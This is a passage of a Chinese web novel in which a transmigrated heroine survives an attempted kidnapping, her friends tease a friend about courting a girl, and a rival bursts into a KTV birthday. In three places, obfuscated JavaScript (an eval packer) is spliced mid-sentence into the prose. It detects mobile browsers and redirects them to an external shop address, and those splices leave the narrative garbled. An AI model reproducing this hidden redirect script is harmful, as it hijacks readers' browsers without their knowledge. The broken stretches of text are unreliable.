陆靳穿着一身黑色的冲锋衣,全身上下都是黑色的,衣领微微竖起挡住下巴尖,几缕碎发斜斜的挡在眼角,几乎要与这个黑色的小巷子融为一体,他带着一身凌冽的寒风,表情也如寒风般冰凉。 他淡漠的看着倒地不起的男人,越是沉默越能给人威压。 蒙面人呲牙咧嘴的起来,见季蝉衣有了帮手,在心里估量了一下自己打败陆靳的概率,两秒之后,毫不留恋的转身跑了,将“识时务者为俊杰”这几个字展现的淋漓尽致。 陆靳皱了皱眉,下意识就要追上去,却被季蝉衣拽住了胳膊。 陆靳回头看她,眼底带着还没有褪色的冷冽,此刻因为季蝉衣的动作而变得更加凌厉,那种令人窒息的压迫感让季蝉衣都有种喘不上气的感觉。 陆靳冷冷地说:“别告诉我你现在圣母心泛滥,拦着我想让我放过他。” 季蝉衣顿时欲哭无泪:“不、不是,你踩到我有甲沟炎的大拇指了,我只是条件反射想扒拉开……咳,我的意思是想催你赶紧把脚拿开。” 陆靳:“……” 把卡在下水道井盖的高跟鞋跟拯救出来之后,季蝉衣一脸菜色的揉了揉自己的脚腕。刚刚崴了脚之后,又被陆靳不轻不重的踩到了脚趾头,现在季蝉衣的脚已经千疮百孔。她悲催的想,真是没有女主的命却得了女主角的病,虐文女主必因男主伤身伤肾的定律果然可怕,甚至连她小小的脚丫子也不肯放过。 那个黑衣人早已经跑的没影了,现在陆靳想追也追不上了。 季蝉衣的脚疼的一时半会儿走不了,就只能蹲在墙边狼狈的揉脚踝。陆靳呆在她身边还没有离开,估计是担心那个人会去而复返。 两个人之间的氛围透露出一种难以捉摸的诡异尴尬感。 季蝉衣觉得不能再这么安静下去了,既然场面已经变得无比尴尬,那就不得不做点更尴尬的事情让场面不那么尴尬。她略显生涩的调整了一下自己的语气,故作轻松的对陆靳说:“那什么,没想到有朝一日我也能遇到这种事情,还是在这么光明正大的情况下被当面准备绑架……我的意思是,谢了啊。” 谁敢想上次两个人在这种小巷子里见面还是一个抓着一个不放,现在就成了一个救了另一个了。 果然风水轮流转,世事变迁让人唏嘘不已啊。 陆靳看了她一样,语气平淡:“刚刚听见纪雪薇和你说的有关雨婷的话了,我出去找陆雨婷的时候,在饭店里面的厕所看见了她。她说没看见你,就催着我出来找你了。” 季蝉衣吹了声口哨,心说陆靳虽然就坐在纪雪薇身边,但纪雪薇声音这么轻他也能听见,说明还是关心纪雪薇的嘛。 她笑眯眯地说:“这么说来,一会儿我得好好谢谢雨婷妹妹了,多亏她警觉,要不然我今天真说不定就交代在这儿了。” 陆靳淡淡地说:“他既然蒙着面,应该并不是临时起意。” 季蝉衣点了点头,简单把刚刚服务员带错路的一系列事情和陆靳说了说:“这怎么看都是一起有目的、有预谋、有组织的团伙作案。” “既然没事,就先回去吧。雨婷还等着我们呢。” 季蝉衣正要点头答应,身后忽然又响起一阵匆忙的脚步声。 小巷子里一个人也没有,一点点声音都能被放大很多,季蝉衣一转头就看见了行色匆匆的周予安。 于是陆靳就看见季蝉衣的眼睛里立刻绽放出绚丽的光彩,她开心的大叫一声,蹦蹦跳跳的穿上鞋子,一瘸一拐的朝周予安跑了过去。 周予安在看见她的一瞬间,几乎听见了自己心脏重重落回去的声响,也终于重新找回了自己声音:“你怎么在这里?发生什么事了?刚刚给你打了好几通电话你都没接。” 季蝉衣笑嘻嘻地说:“事发突然,根本没空看手机嘛。” “到底怎么了?陆小姐回来的时候脸色不太对劲,我问了她一句,她说陆总出来找你了,我担心你们出事,所以也一路找了过来。究竟发生了什么?” 季蝉衣就又一五一十的把刚刚发生的事情和周予安说了一遍。 周予安脸上一闪而过的是没藏住的阴鸷,他的脸色阴沉,是和平时截然不同的压迫感,但面对季蝉衣的时候,他又生生压下心头滔天的怒意:“报警了吗?” 季蝉衣摇了摇头,叹了口气:“报警估计也作用不大,我刚刚看了,这条路没监控,那个人又裹得那么严实,要真是想查,估计也不好查,还是别浪费警力了。” “那个服务员呢?” “也希望不大,那个人戴着帽子和口罩,同样裹得严严实实的,显然是有备而来。” “……你心里有怀疑的人吗?” 这话一出,季蝉衣就停顿了一下。要说怀疑的人嘛,季蝉衣刚刚就想过,从姚以寒猜到纪雪薇再猜到很久都没有露面的黛秋心,她现在看谁都觉得有嫌疑,嫌疑人一号就是姚以寒,她这号人物一出现就出了这件事,嫌疑很大,不过她看着也不像是那么冒进的人……纪雪薇也有嫌疑,毕竟她可是全场最大的反派,成为反派中的战斗机也不为过,但一时半会儿也没什么证据,至于黛秋心么,那是一直单方面和她不对付,也不是没可能策划这一切给季蝉衣点教训。 猜来猜去,好像哪个都有嫌疑,但哪个又都没有充足的证据……季蝉衣也只能头大的说:“其实我一时半会儿也没什么头绪……”季蝉衣看周予安脸上没什么表情,知道他在生气,于是捏了捏他的手指,故作轻松的笑道:“虽然不报警,但咱们自己可以慢慢查啊,现在一时半会儿虽然是查不出来什么了,但以后的日子还长着的,既然这个人着么绞尽脑汁地策划这一切,那这次没有得逞,他肯定还会想准备第二次。等下次,下次咱们一定把这个犯罪团伙一网打尽怎么样?” “嗯。” 周予安生气的时候,话就会变得很少,而且语气也很冷淡。周予安很少会当着季蝉衣的面生气,这次那个幕后黑手估计是真惹到他了,周予安连伪装的随意都懒得维持。 季蝉衣知道他是因为担心自己才这样,心里也挺感动的,但毕竟还有个陆靳在这里,季蝉衣有很多话也没办法当着他的面和周予安说,就只能想着等回去再哄哄周予安。 她笑眯眯地说:“好了,反正这一关算是有惊无险的过去了,雨婷他们估计都等急了,咱们先回去吧。” “嗯。” 季蝉衣刚往前走了一步,随即呲牙咧嘴的停下了。 周予安低头看了一眼,刚刚季蝉衣见到他一激动,就忍不住踩着高跟鞋跑了两步,这两步显然加剧了她脚腕的扭伤,刚刚没动倒也不觉得疼,但是现在一抬脚,那股钻心地疼就变得非常清晰。 周予安蹲下来揉了揉季蝉衣的脚踝,不敢太用力,抬头看她:“疼不疼?” “疼,”季蝉衣在周予安面前从来不藏着掖着,“回去得好好给我揉揉才行。” 周予安嘴角上扬了一个像素点:“还能走吗?不能走我背着你。” “能走就不背了吗?” “?” 季蝉衣知道周予安心情不好,于是就想故意逗他:“如果现在有另外一个又聪明又体贴又情商高的美女在这里,我和她你背谁?” “你。” “哦,所以那个又聪明又体贴又情商高的美女是谁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552079|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……”周予安非常慈爱的开口,“她是你找事的理由,是你折磨我的借口;她是山外青山楼外楼,危急时刻的火上浇油。我这么解释您还满意吗,季大人?” 季蝉衣没忍住笑出声:“还挺押韵。行吧小瓜子,我允许你背着我了。” “……谢主隆恩。” 周予安蹲下身,等季蝉衣趴在自己背上之后,他稳稳当当的站起来背着季蝉衣往前走。 走了两步,季大人又发话了:“但是你为什么就这么背着我?电视剧里男角色不都单手抱着吗?还能空出一只手拎着女主人公的高跟鞋。” “背着你我可以空出两只手拎高跟鞋。” “但你这样又不帅。” “任何一个有责任心、有爱心、有良知、有道德的人看见我的脸都说不出这样的话。” “……”季蝉衣思索两秒,退步了,“好吧,我收回刚刚那句话,果然脸是最佳的时尚单品,光看你的脸的话,你确实帅。”她才不承认自己没道德。 “算你有眼光。” 季蝉衣心情愉悦的哼了两句歌,忽然发觉他俩聊天过于旁若无人了点,但实际上现场不止他们两个,于是她抱着亡羊补牢似的心理扭头看向陆靳,笑眯眯的开了口:“陆靳,今天也多谢你了。” “没事。” “不过你的表情看起来不像是‘没事’的样子啊,怎么,是我和周予安说话让你觉得不自在了吗?” 陆靳:“……” 陆靳移开视线,他不该在这里,他应该去车底。 季蝉衣了然:“还真是。” 季蝉衣笑得非常和蔼:“别紧张嘛,主要就是你话太少了,所以才觉得不自在。没关系,从现在开始,你想说什么就给我狠狠畅所欲言,我和周予安都是很好的人啊,又不会拿高跟鞋的鞋跟戳你的甲沟炎,你有什么好害怕的?”说着还不老实的拍了拍周予安,想寻求赞同,“是吧?” “这位在我背上拱来拱去随意蠕动的季大人,你代表自己可以,代表我也行。” 季蝉衣哈哈笑着拍了拍周予安的肩膀:“瓜总果然是我的肱骨之臣啊,看来我没看错你,果然是能屈能伸。” 三个人一起往回走,陆靳在最前面一言不发,周予安背着季蝉衣在他身后一唱一和,场景异常的和谐。和谐到就连季蝉衣都觉得惊异的程度。 她没想到自己能和陆靳这么和平的共处,两个人之间没有一点旖旎的气氛,经过这一遭之后,季蝉衣能感觉到她和陆靳的关系稍稍亲近了一点,但这种亲近也是朋友关系方面的亲近,没有任何暧昧的意思。 如果彻底抛开书中两个人那些虐恋情深的剧情来看,其实他们完全可以做很好的朋友,而不是恨海情天里互相纠缠不放的怨偶。 不过陆靳好像确实和小说里描写的不同,嗯……应该不能说是陆靳不同,毕竟他和小说里描写的那个角色如出一辙,不同的应该是陆靳和季蝉衣之间的关系。 在季蝉衣穿进来之前,两个人应该正处于互相有好感但陆靳刚刚知道了纪雪薇是小时候救下自己的人,所以是既对季蝉衣有好感但又备受承诺煎熬的两难情绪之中,但是现在看陆靳的态度,他对季蝉衣似乎并没有任何想要恋爱的苗头。 这是怎么回事儿? 季蝉衣有些迷惑了,现在男女主的剧情看起来怎么和小说里描述的有点出入呢? 但想了一会儿也想不出个所以然之后,她就放弃了。 世上无难事,只要肯放弃。季蝉衣只会为难别人,从来不会为难自己。 反正不管怎么说,陆靳不喜欢她了对她们来说是件好事,毕竟男女主互相之间都没有感情这件事就是季蝉衣一直以来想要的,只有这样,才更能确保小说主线剧情的崩塌,也就更能确保她能改变最后的结局。 想明白这一点之后,季蝉衣就理直气壮地躺平了,既然陆靳对她并没有多余的心思,那她也打算以后就以对待普通朋友的态度对待陆靳。不管怎么说,在不发展成恋爱关系的情况下,抱紧男主大腿准没错。 27. Chapter27. 三个人并肩回到包间的时候,大家的反应不尽相同。 大部分都在疑惑怎么出去了这么久,一直提心吊胆的陆雨婷见他们都平安之后才悄悄松了口气。 只有纪雪薇面色阴沉的盯着季蝉衣,嘴角微微抽动了一下,放在桌子下面的拳头也狠狠握紧了,但察觉到有人的视线扫过来时,她又在转瞬之间恢复了平常的模样。 大家都在追问出了什么事,季蝉衣不想把事情闹大,毕竟这是李慕青组的局,今天大家又都这么开心,她不想因为自己的事情弄得大家没心情吃下去,所以就随口找了个理由,把这件事糊弄过去了。 她刚开口编了个开头,周予安和陆靳就知道了她的打算,他们没有拆穿季蝉衣,只是默契的配合季蝉衣打圆场。 这件事表面上就这么有惊无险的过去了。 饭局结束,和大家告别之后,季蝉衣总算成功的在周予安的陪同之下去了厕所。趁着季蝉衣不在身边的间隙,周予安面无表情的给助理打了电话,让助理不惜一切代价找到今天做这一切的幕后黑手。 电话挂断,周予安盯着纪雪薇离开的方向,脸上闪过一丝没有藏住的阴冷。 季蝉衣出来的时候,他又眨眼间就恢复了从前那种松松垮垮的模样。 两个人并肩从餐厅出来,周予安打开副驾驶的车门让季蝉衣先进去,然后自己才绕到另一边上了车。 车子缓缓启动,季蝉衣看着前面飞速向后退去的景物,看了一会儿就有点困了,忍不住长长的打了个哈欠,语气也含糊不清:“……对了,我是不是还没和你说我今天和简离聊了什么?” “是啊。怎么,让我大但的猜测一下,难道是你们偷偷骂我了?” “那到不至于——我们一般直接扎你的小人泄愤。” “看来我强迫老奶奶骑我过马路的事情还是被你们发现了。” “何止,你偷藏小猫胡子挠老奶奶脚底板的事情也被我们发现了。”季蝉衣过完嘴瘾,防止和周予安因为“老奶奶”这三个字衍生出无数的段子,她及时打住,“先把老奶奶放一边,咱们言归正传。我先简单和你说说我和简离聊的关于李听澜和陆靳的事情,然后我们以这个为大背景分析一下接下来的故事走向和咱们要做的事情,怎么样?” “说吧,我仔细听着呢。” 季蝉衣娓娓道来,把自己白天和简离说的重点内容简要叙述一遍。 周予安听完之后若有所思的问:“……所以咱们改变了自己的做法之后,简离也在我们的影响之下改变了她自己的剧情线?” “聪明。咱们的做法已经和原文中角色大相径庭,于是相应的,我猜和咱们息息相关的那些人也多少受到了影响。今天和简离聊了之后我才知道,原来原文中的简离是因为我喜欢陆靳,于是想通过李听澜了解陆靳真正的为人,所以才和李听澜相识相知,最后在不知道姚以寒和李听澜真实关系的情况下单方面坠入爱河,这才导致最后的那些悲剧发生。但现在我放弃了陆靳,又及时和简离打了预防针,我觉得这个举动不仅最后可能救下自己,也多少救下了简离。” 周予安听话沉默了一会儿,然后才问:“这是不是就是你希望看见的结果了?把简离从那条不归路上拉回来?” 季蝉衣很轻的“嗯”了一声,看向窗外,声音听着有些低落:“……瓜总,其实今天听到简离和我说她接近李听澜的真实目的的时候,我心里挺不是滋味的。” 她停顿了两秒,继续说:“我明明只是穿到这个角色身上,只是短暂的占据这个身体,但我却好像真的能够感同身受原主对简离的感情。在那一刻,我的心脏好像和原主的心脏同频了,你能明白我的意思吗?我能感觉她所有的情绪,并且真心实意的因为简离对我的珍重而感动、而喜悦。我会自责简离原来是因为我才经历了那一切,并且同样也希望自己能像简离爱我一样的爱她……” 周予安轻轻叹了口气:“我明白。” 季蝉衣又抹了一把脸,沉默了一会儿,又打起精神,努力让自己变回之前那个斗志昂扬的自己,将消极的情绪一扫而空说:“不管怎么样,我一定会凭借自己的努力让我在意的人都过上他们想要的生活的。” 周予安静静的看着她,很快笑了:“嗯,我相信你。” 因为我知道你永远都有让大家幸福的能力。 · 宴会结束的第二天,陈既不知道从哪里听说了这件事,当天就打电话过来慰问季蝉衣。 其实陈既不是第一个问的,结束饭局的当晚简离就详细的询问了一遍,虽然季蝉衣当时找的借口十分合理,但简离就是觉得不对劲。一问之下果然有古怪,季蝉衣说了来龙去脉之后,简离心有戚戚了很久。 季蝉衣也懒得一个个解释了,索性直接拉了个群,把周予安、陈既、陆雨婷和简离一起拉了进来,拉完之后,季蝉衣又思索片刻,还是看在陆靳救过自己的而且又是当事人之一的份上也把他拉了进来。她甚至有想过要不要把纪雪薇也拉进来,毕竟昨晚纪雪薇也在场。 但又转念一想,说不定纪雪薇根本不在意她有没有事呢,万一到时候人家根本不想占手机内存知道这件事,觉得季蝉衣太自作多情就不好了。而且现在幕后黑手到底是谁还不得而知,纪雪薇也是重点怀疑对象之一呢,还是先别打草惊蛇了。 再三权衡了一下,季蝉衣最后还是放弃了这个念头。 小群拉好之后,大家陆陆续续都冒了泡。原本季蝉衣还觉得陆靳很有可能不会进来,但没想到他最后竟然真的同意了,而且看起来没有任何想要退群的念头。 建好群之后,陈既私聊季蝉衣:“我看着你没把唐筱竹拉进来,她也挺好奇你昨晚的经历的,你不介意我把她也拉进来吧?”后面跟了一个奸笑的表情包。 季蝉衣:“?” 季蝉衣:“你和唐筱竹的关系什么时候变得这么好了?” 陈既:“哦,就上次她不是送我姥姥去了医院,因为治疗及时我姥姥才没什么大碍嘛,所以我姥姥就寻思着让我好好感谢一下人家,唐筱竹来看过我姥姥几次,我姥姥特别喜欢她,老是邀请她来我家做客,一来二去的就熟了。” 陈既:“是不是兄弟?是的话就给个准话,能不能拉她?” 季蝉衣敏锐的嗅到了一丝八卦的味道:“当然可以啊,你直接拉就行。不过话又说回来,我还是第一次见到陈大少这么关心一个女孩子啊,这完全不像是你的作风啊。” 说实话,其实对于陈既能和唐筱竹在一起这件事季蝉衣倒是喜闻乐见的,毕竟相比于黛秋心那个仿佛看谁都是小三的性格来说,她当然更能接受唐筱竹,毕竟唐筱竹本心并不坏,只是人有点天真单纯,被人带的有点在正道上跑偏的意思,但在某些情景下天真单纯并不是贬义词。 反观陈既这个人,看起来吊儿郎当不务正业,其实人还是很精明的。再怎么说陈既也是从小跟着父母学生意上的事情,从小就察言观色,做事做人都无可指责,人情世故这一块拿捏的死死的。和单纯的唐筱竹简直就是两个极端,如果他真的和唐筱竹在一起,想来能帮唐筱竹过滤掉大部分人渣,以后唐筱竹再被心怀不轨的人带偏的几率将会呈几何级降低。 两个人其实很互补,而且唐筱竹不会整任何幺蛾子,也不会起什么害人的心思。以后和陈既在一起了,也不会教唆着陈既去干什么伤天害理的事情,两个人估计真的就可以顺顺利利的走下去。 毕竟很多东西的改变都是在潜移默化中形成的,就算陈既再聪明再事事看的明白,如果真和一个心术不正的在一起,也会随着时间的推移渐渐被同化,然后走上一条不归路。 而且还有重要的一点,虽然不知道现在陈既这条副线为什么会有这么大的变动,但如果他能第一个改变自己的官配,开了这个先例之后,也就意味着对季蝉衣来说改变男主也就不再是一件天方夜谭的事情。 在这件事上季蝉衣很看好陈既,只是同时她也很疑惑陈既怎么忽然就开窍了,竟然真的跳过了黛秋心喜欢上了唐筱竹,做出了和原文截然不同的选择……难道也是因为她和周予安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554031|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改变了主线剧情,所以连带着不知道怎么回事就改变了陈既的剧情? 不同于季蝉衣的兴致勃勃,陈既显然对这个话题有点避而不谈的意思,含糊不清的回了个你想多了,然后就开始装死。 等把唐筱竹拉进群里之后,陈既就艾特季蝉衣,问她是怎么回事。 然后季蝉衣就专事专项的进行了一次集中答疑。 所有人的谜团都解开之后,大家唏嘘不已,既惊奇于季蝉衣的奇遇,又纷纷忍不住为她捏了把汗。 季蝉衣不想让大家一直因为她的事情揪心,就又胡扯了几个话题,岔开这件事之后,大家又天南海北的随便聊了聊,没多久群里也就渐渐安静下来了。 但季蝉衣盯着群里陈既和唐筱竹的头像思索两秒,却因此受到了启发,很快手起刀落,拉了第二个群。 这次她只邀请了陈既、周予安和简离。 进去之后,陈既先在群里发了个问号。 季蝉衣直言不讳的问:“陈少爷,现在没有外人了,你可以仔细说说你和唐筱竹究竟是怎么一回事了吧?” 陈既:“什么怎么回事,没怎么回事啊。” 简离:“什么唐筱竹,我错过什么了?” 季蝉衣:“别装了花裤衩,我还不了解你,就你那点花花肠子。你要是对唐筱竹没意思,就算是你姥姥拿着刀架在你的脖子上你也不会动一动的。究竟是你姥姥想感谢人家还是你自己想趁机勾搭人家自己心里有数哈,快点,我们都和你这么铁了也要瞒着吗???” 花裤衩是陈既的网名,全程叫十二月的花裤衩最难忘。 简离一看有八卦的气息,虽然还不知道发生了什么事情,但是也立刻紧随其后的开始充当搅屎棍:“就是啊,好啊花裤衩,亏你之前犯错的时候我之前还一直在叔叔阿姨面前帮你打掩护,兄弟把你揣心里,你把兄弟踹沟里是不?现在有什么事情都开始瞒着我们了,真是太让人伤心了。” 角落里一直潜水的周予安也默默的跟上队伍,保持了整体的整齐划一:“……唉,兄弟和你心连心,你跟兄弟玩脑筋……” 十二月的花裤衩最难忘:“好好好,这时候想起兄弟情了是吧?没事全是兄弟情,出事全供兄弟名,看八卦的时候倒是想起兄弟情了。” 季蝉衣忍无可忍:“你究竟说不说?[发怒]” 陈既立刻回:“我说。” 陈既酝酿了一会儿,果然还是和盘托出了:“那什么,我确实对她有一点感觉。” 陈既:“她救下我姥姥的时候,我就觉得这姑娘善良,人好。后来和她接触了一下,除了人有时候容易被带沟里之外,其他都是特别好的一姑娘。咳,那什么,爱美之人人皆有之嘛,我向往美好的品质所以喜欢人家不行啊。” 这就是吸引力法则吗?心眼子多的总是会被心眼子少的人吸引……季蝉衣想也不想:“既然喜欢就去追呗。” 简离:“就是就是。” 周予安:“就是就是。” 陈既:“……” 陈既:“要真有这么容易就好了。我根本无从下手啊!” 季蝉衣:“此话怎讲?” 周予安:“说来听听。” 简离:“长话短说。” 陈既:“……怎么说呢,我感觉这姑娘的技能点全点在‘吃’上了,对于其他的事情根本就没有开窍。你们不知道,我暗示了她好几次,但她一点反应也没有,除了提到去哪里吃东西她还能给点积极的反应,其他时候都完全不明白我的意思。” 季蝉衣思索两秒,总结了一下陈既的话:“意思就是你想追人家但是人家不鸟你?” 陈既:“……” 陈既:“是她根本看不出来我在追她。” 季蝉衣:“人不行别怪路不平。” 周予安:“菜就多练。” 陈既:“……” 陈既:“?” 简离:“欸,我有个好办法,既然你不知道怎么追人家,那我们充当你的智囊团帮你追怎么样?” 28. Chapter28. 陈既:“……可以说实话吗?我觉得不怎么样。” 简离:“好,那就这么定了!” 简离修改了群昵称为“三对一精准扶贫”。 陈既:“……” 自从这个群建立起来之后,另外三个人就直接参与进了陈既的情感生活,实时了解两人的进度,并且开始充当他的军师。 于是群里的画风一会儿正经一会儿不正经的,正经的时候很正经,不正经的时候就变成了如下模式: 十二月的花裤衩最难忘:“今天我要狠狠发力了,晚上邀请唐筱竹去看电影,屏幕前的好兄弟们觉得她会答应我吗?” 煎饼狗子:“……到底在和我们预告什么。” 大西洋匍匐前进的黑水母:“你赶紧去和她说啊,和群友说什么。” 他的西瓜皮好美:“……又开始喊口号了。” 十二月的花裤衩最难忘:“……” 十二月的花裤衩:“是兄弟就闭上嘴。” 煎饼狗子:“是兄弟就来砍一刀。” 或者是这样: 十二月的花裤衩最难忘:“我这次是真的伤了,为什么无论我怎么向她靠近,她都永远感觉不到我的心意呢?难道我们真的不合适吗?好想向上天再借一万年,让上天知道我的痴情。” 十二月的花裤衩最难忘:“可男人又不是不要面子,我已经一次次放下身段暗示她了,就差直接和她坦白了,可话到嘴边我又实在是有些说不出口……” 大西洋匍匐前进的黑水母:“……?” 大西洋匍匐前进的黑水母:“陈总,我以一句过来人的经验给你一句忠告,男人靠面子武装自己,而面子需要李子支持,李子需要去楼下水果店买,你晚上回家路过水果店的时候帮我买点李子。” 十二月的花裤衩最难忘:“?” 大西洋匍匐前进的黑水母:“哈哈哈我以为你在这儿装玉玉呢。” 大西洋匍匐前进的黑水母:“毕竟你总是说要和唐筱竹表白,但一直都窝囊的张不开嘴。我还以为这次你又把群里当许愿池了呢。” 十二月的花裤衩最难忘:“……” 十二月的花裤衩最难忘:“好好好,就冲你这句完全不在意兄弟死活的话,兄弟今晚就直接和唐筱竹表白,你给我等着瞧。” 他的饺子皮好美:“要是发誓赌咒有用的话,灰太狼早就抓住羊了,小魔仙第一集就打败黑魔法了,佩奇前三秒就在泥坑里跳来跳去了。” 大西洋匍匐前进的黑水母:“有点狠话全在群里说了。” 煎饼狗子:“我真没时间听别人吟唱了,提问,怎么样可以直接注销别人的微信账号?” 十二月的花裤衩最难忘:“……” 又或者: 大西洋匍匐前进的黑水母:“@十二月的花裤衩最难忘有段时间没见你了,在哪发财呢陈总?” 十二月的花裤衩最难忘:“别提了季总,最近我感觉和唐筱竹已经有了很大的进展。” 大西洋匍匐前进的黑水母:“哦?说来听听?” 十二月的花裤衩最难忘:“她早上帮我带了一瓶水。” 大西洋匍匐前进的黑水母:“?” 大西洋匍匐前进的黑水母:“好巧,拼多多也是用这种行为让我觉得最后我肯定能成功的。” 十二月的花裤衩最难忘:“……?” 不过虽然大家总是调侃陈既,但有事儿也是真上,陈既真有问题的时候,他们也是实打实的能给他提出自己的建议。 虽然陈既平常心眼子多的要命,但是一到自己面对自己情感问题的时候,又常常当局者迷。所以在其他三个局外人的帮助之下,他和唐筱竹的关系确实逐渐紧密起来,有了质的飞跃。 其他人提供技术支持,再加上陈既勇敢的踏出第一步,两个人渐渐的有了很多第一次。 第一次一起吃饭,第一次一起看电影,第一次一起吃饭……终于,陈既在几个人的刺激下在唐筱竹生日这一天和唐筱竹表白了。 当时大家在KTV里给唐筱竹过生日,陈既抱着花出现的时候,大家都开始吱哇乱叫。 尤其是简离和季蝉衣,就属她俩叫的最起劲。 就在唐筱竹红着脸准备表态的时候,不速之客黛秋心忽然推门而入,看见里面的场景和欢笑的众人,脸色差的简直不能用阴沉两个字来形容。 她怒气冲冲的站在陈既和唐筱竹中间,眼睛几乎要冒出火来,质问唐筱竹:“你在干什么?” 唐筱竹还没说话,陈既就有些不高兴了,一把把唐筱竹拉到自己身后,皱着眉说:“你这是什么语气?我们在干什么关你什么事?如果是来挑事儿的,那我劝你赶紧走。” 黛秋心见陈既对她是这种态度,气的眼都红了,大声吼道:“陈既,你竟然敢用这种态度对我!” 一而再再而三的被黛秋心纠缠,陈既即便是再圆滑此刻也有点受不了了,他当场拉下脸,面色阴沉的说:“我一开始就和你说的清清楚楚明明白白,我不喜欢你,而且也绝对不可能和你在一起。即便是你再继续纠缠我,我也只会对你更加厌烦,黛秋心,这些话我已经和你说过很多次了,你怎么就是听不进去呢?我有喜欢的人,我希望从今天开始,你可以立刻从我的世界里消失,给自己留点体面,好吗?” 黛秋心难以置信的盯着陈既,似乎不敢相信陈既竟然真的当着这么多人的面说这种打她脸的话。 另一边努力把自己缩成鹌鹑的季蝉衣闻言则是默默的和周予安对视一眼,两个人用眼神交换信息。 季蝉衣:“我去,我们错过了什么?原来在我们不知道的时候,黛秋心也经常去骚扰陈既吗?” 周予安:“看样子是这样的,而且陈既一副不胜其烦的样子,好像对她并不感冒啊。” 季蝉衣:“陈既终于开窍了吗?” 周予安:“有可能。” 季蝉衣叹了口气:“不容易啊。” 季蝉衣想到了什么,季蝉衣疑惑:“不过我一直有个问题。” “哦?说来听听?” “为什么每次到这种关键时刻——比如表白等待答应的时候、死之前即将说出杀人凶手的时候、答案即将揭晓的时候,总是会出现各种各样的人和事情来打岔?” 周惊玉沉吟片刻,用眼神回复:“可能是一种机制吧。” “?” “防止过的太顺利,让人觉得活着没意思。” “……?” 另一边的黛秋心受不了陈既当着大家的面对自己这么冷漠,当即开始发疯:“你这是什么意思?我那么喜欢你,我对你那么好,你究竟还有什么地方不满意?你、你究竟喜欢唐筱竹什么?她那么傻,人又迂腐又不知道变通,说什么信什么,整个人就是个书呆子,也就学习好点,你别告诉我你喜欢她这样的!” 唐筱竹愣在原地,惊讶的抬头看向歇斯底里的黛秋心,似乎完全不敢相信自己听见了什么。 黛秋心并没有因为唐筱竹受伤就住嘴,反而更加起劲,她看着唐筱竹,恶狠狠的说:“唐筱竹,你这么笨又这么呆,除了我还有谁会把你当朋友?像你这么蠢的人,就应该一直对我唯命是从!我哪里对你不好,结果你竟然背叛我,还敢撬我的墙角。虽然我没和你说过我喜欢陈既,但你难道看不出来我对陈既的心思吗?你就是故意的是不是,其实你心里什么都明白,就是故意装出一副柔弱的样子……” 唐筱竹呆在了原地,整个人仿佛静止了。黛秋心从来没有和她说过陈既的事情,因为黛秋心觉得她呆,不屑于和她说,唐筱竹之前只是觉得黛秋心对陈既很好罢了,她不会多想,也一直傻傻的看不出来。虽然黛秋心只在有需要的时候才会找她,平常根本想不起来她这个人,但唐筱竹也依然觉得黛秋心是真心对自己好的,黛秋心一定是从心底里把自己当朋友的,所以她才愿意为了黛秋心义无反顾的冲锋陷阵、得罪别人。但今天黛秋心的话仿佛重重地打了她一拳,让她直到现在才意识到自己从始至终都错信了人。 陈既听后已经怒不可遏,他一向见人说人话见鬼说鬼话,始终秉持着以和为贵的传统美德,哪怕是对面的人把穿过三天的袜子扔他头上他也能笑眯眯的给对方倒茶。但现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556291|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见黛秋心这么说唐筱竹,他气的想直接把黛秋心扔出去浇水泥地里,但好在季蝉衣反应迅速,先他一步开口骂黛秋心:“黛小姐这是说的什么话,小时候保胎针打脑子里了?说话这么冲。” 黛秋心冷笑一声:“呦,又让你装上好人了?光骂她忘了骂你是吧?你又以为自己比她好到哪里去?你就是个会落井下石趁人之危的绿茶!” “那也比你这坨粑粑好。” “你才是粑粑!” “你就是粑粑!你是超级无敌霹雳螺旋粑粑。” “你最是粑粑!你是五彩斑斓炫丽飞天粑粑。” “反弹!” “够了!季蝉衣,你除了嘴巴厉害还会什么?” “还会骂你是头小野猪,你要听吗?” “滚行吗?” “你让我滚就滚,那我岂不是很没面子啊?这样吧,你承认自己是头小野猪我就滚,好不好?” 周予安在一边直点头:“不是我挑事儿啊黛小姐,要是我我就承人了。” “……”黛秋心快要气疯了,“你也滚,你们两个都是小野猪,死猪!死肥猪!!有多远给我滚多远!” 黛秋心骂完,又气急败坏的看向陈既,咬着牙说:“好你个陈既,你敢这么对我是吧?从现在开始我和你势不两立,你别后悔!” 陈既斜眼看她,一脸不屑:“我求之不得,这地方小,可容不下您这座大佛,拜拜了您哪。” 